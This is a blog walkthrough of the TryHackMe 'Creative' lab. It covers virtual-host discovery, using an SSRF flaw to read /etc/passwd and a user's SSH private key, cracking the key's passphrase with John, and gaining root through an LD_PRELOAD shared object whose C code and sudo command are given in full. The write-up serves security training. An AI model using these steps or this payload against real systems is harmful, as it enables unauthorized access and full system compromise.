TryHackMe - Creative Walkthrough
\x01 Intro
Hey, I am back with a new post without a 5 month gap!
I am going to walk through Creative on TryHackMe. This was an easy-rated machine that starts off with discovering a new virtual host, exploiting a server-side request forgery vulnerability in a URL testing tool, and then escalating to root via the LD_PRELOAD environment variable.
Let's get started!
\x02 Enumeration
Like we always do, I started with an Nmap scan which found two ports open - HTTP on port 80 and SSH on port 22.
[2024-05-25 02:55:53Z] [~/D/c/t/creative] > sudo nmap -sC -sV -p22,80 -oN scans/creative_targeted 10.10.4.153
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 22:55 EDT
Nmap scan report for creative.thm (10.10.4.153)
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:5c:1c:4e:b4:86:cf:58:9f:22:f9:7c:54:3d:7e:7b (RSA)
| 256 47:d5:bb:58:b6:c5:cc:e3:6c:0b:00:bd:95:d2:a0:fb (ECDSA)
|_ 256 cb:7c:ad:31:41:bb:98:af:cf:eb:e4:88:7f:12:5e:89 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Creative Studio | Free Bootstrap 4.3.x template
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.36 seconds
22 - SSH
Since there is not a lot that can be done with SSH without some credentials, we are going to skip it for now.
80 - HTTP
As for port 80, when I visited the page the first time, it was trying to redirect to http://creative.thm
. In order to load the page, we first need to add this to the hosts file.
[2024-05-28 03:09:33Z] [~/D/c/t/c/www] > echo '10.10.12.9 creative.thm' | sudo tee -a /etc/hosts
10.10.12.9 creative.thm
I reloaded the page and was brought to a landing page for Creative Studio.
There was not much to do around the page. I did interact with the Contact Us form, but it did not do anything nor did any XXS payload work.
I do want to call out that jotted down the list of names from the index, but they did not appear to be useful.
[2024-05-25 03:00:22Z] [~/D/c/t/creative] > cat team_members
Matthew Davis
Barbara Ross
Karen Perry
Ashley Diaz
Edward Harris
Brian Scott
VHOST Discovery
Since we have a hostname, I turned to virtual host discovery using ffuf.
Whenever you are dealing with a domain name, it is recommended to also try virtual host fuzzing. You can uncover additional domain names to include in your testing.
A new virtual host called beta
was found.
[2024-05-25 03:00:00Z] [~/D/c/t/creative] > ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://creative.thm -H 'Host: FUZZ.creative.thm' --fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://creative.thm
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.creative.thm
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
beta [Status: 200, Size: 591, Words: 91, Lines: 20, Duration:
After adding beta.creative.thm
to the hosts file, I visited the new page, which loaded a URL testing tool. This tool would tell you if a URL was alive or not.
I tested with http://google.com
- which returned Dead. This makes sense, as THM machines cannot egress to the Internet.
\x03 Finding SSRF Vulnerability
This got me thinking—this looked like a prime spot for an SSRF vulnerability to exist. The server could be reaching out to the provided URL and, based on the response, returning to the user if the URL is alive or dead.
To prove this, we first needed to validate if it was the server itself making the request and not something being done on the client side. If it is the client making the request, then there would be no SSRF vulnerability.
I set up a new HTTP listener on port 9090 using updog and entered the IP address of my Kali VM in the URL testing tool. When the request came through, it showed the request came from the server's IP. We have now validated an SSRF vulnerability exists.
To make this all a bit easier on myself, I opened up Burp Suite and shot this over to Repeater. This will come in handy in a bit.
\x04 Port Scanning via SSRF
I was not able to pull local files through the SSRF vulnerability - darn.
Apart from reading local files, SSRF can also be leveraged to perform a port scan on the server itself using the loopback address. I used wfuzz for this and could find ports 80 and 1337 open.
[2024-05-26 23:45:05Z] [~/D/c/t/creative] > wfuzz -c -z range,1-65535 -u 'http://beta.creative.thm' -d 'url=http://127.0.0.1:FUZZ' --hw 3
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://beta.creative.thm/
Total requests: 65535
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000080: 200 685 L 2309 W 37589 Ch "80"
000001337: 200 38 L 77 W 1143 Ch "1337"
When accessing port 1337 via the SSRF payload, it returns a directory listing for the root directory.
Cool - through port 1337, I was able to read /etc/passwd
and discovered a user named saad
exists on the box.
Knowing the username and the fact that SSH is running, I attempted to load Saad's SSH private key, which was successful. This was saved for later use.
\x05 Getting Userland Access
With Saad's SSH private key in hand, I changed the permissions on it and then tried to use it.
However, it prompted a passphrase. This means that when the key pair was generated, a passphrase was configured. We need to get this passphrase before the key will work.
I used ss2john to convert the private key into a format that John can use when trying to crack the passphrase.
After running John against the converted key, it was able to find the passphrase without any issues.
ssh2john saad.id_rsa > saad.id_rsa.john
john saad.id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt
Now that we know the passphrase for the private key, we can SSH into the box as Saad.
\x06 Userland Enumeration
Once on the box, I found a password in Saad's bash history.
Just a pro tip - do not do what Saad did. k?
I validated this was in fact Saad's password via sudo -l
\x07 Vertical Escalation to Root
When running sudo -l
to test the password I found in the Bash history, something stuck out. The LD_PRELOAD environment variable was set.
Essentially, the when LD_PRELOAD environment variable is set, we can force the linker to load the path to our own malicious shared libraries into memory before other shared libraries are loaded.
What this means is that we can specify a shared object to be loaded before any others. This allows us to create a shared object file and call it when invoking ping using sudo.
Our crafted shared object will execute /bin/bash, and because both the GID and UID are set to zero, this process will run with root privileges, thus giving us a root shell.
Creating our own SO
I created a new file called gray.c
with the following content:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
I then compiled it on the victim machine. This resulted in a new compiled shared object file with the name gray.so
.
Including -fPIC
here is important as we want this to be position-independent code. This will allow it to be loaded at any memory address. Since this is being used as a shared library, this is vital so it can be loaded at different addresses.
gcc -fPIC -shared -o gray.so gray.c -nostartfiles
With everything set up, I executed the 'ping' command with sudo and included the path to my shared object file using 'LD_PRELOAD'.
This resulted in a root shell.
sudo LD_PRELOAD=/dev/shm/gray.so -u root /usr/bin/ping 1.1.1.1